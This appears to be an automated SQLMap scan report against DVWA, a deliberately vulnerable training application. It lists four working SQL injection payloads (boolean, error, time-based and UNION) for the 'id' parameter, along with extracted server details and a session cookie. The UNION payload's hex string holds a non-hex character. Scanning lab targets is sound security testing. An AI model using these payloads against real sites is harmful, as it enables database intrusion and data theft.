# SQLi Exploiter with SQLMap Report

✔ http://example.website.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit

## SQL Injection detected

| Parameter | Method | SQLi Type | Payload | Extracted data |
|---|---|---|---|---|
| id | GET | boolean-based blind | id=1' OR NOT 9450=9450#&Submit=Submit | Current database: dvwa<br><br>Operating system: Linux Debian 9.0 (stretch)<br><br>Server technology: Apache 2.4.25<br><br>Database type: MySQL >= 5.0<br><br>Server hostname: localhost |
| id | GET | error-based | id=1' AND (SELECT 7966 FROM(SELECT COUNT(*),CONCAT(0x7170707871,(SELECT (ELT(7966=7966,1))),0x716b7a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- lcXZ&Submit=Submit | - |
| id | GET | time-based blind | id=1' AND (SELECT 8301 FROM (SELECT(SLEEP(5)))BQxw)-- IWWi&Submit=Submit | - |
| id | GET | UNION query | id=1' UNION ALL SELECT CONCAT(0x7170707871,0x79787748734646687a59674862587543576d7a634f4f764b5177687364525271716l4e6b57644441,0x716b7a7871),NULL#&Submit=Submit | - |

### Scan parameters

| | |
|---|---|
| Url: | http://example.website.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit |
| Method: | GET |
| POST Data: | |
| Current user: | --current-user |
| Current database: | --current-db |
| Server hostname: | --hostname |
| Cookie header: | PHPSESSID=vhf766qvxxxxxxxxxxx0d8ski3; security=low; |
| Test parameters: | id |
| Tamper: | |
| Level: | 1 |
| Risk: | 1 |
| HTTP Code: | None |
| Prefix: | |
| Suffix: | |
| Database type: | |
| Techniques: | BEUSTQ |

### Scan information

| | |
|---|---|
| Start time: | 2019-05-30 15:46:19 |
| Finish time: | 2019-05-30 15:46:57 |
| Scan duration: | 38 sec |
| Scan status: | Finished |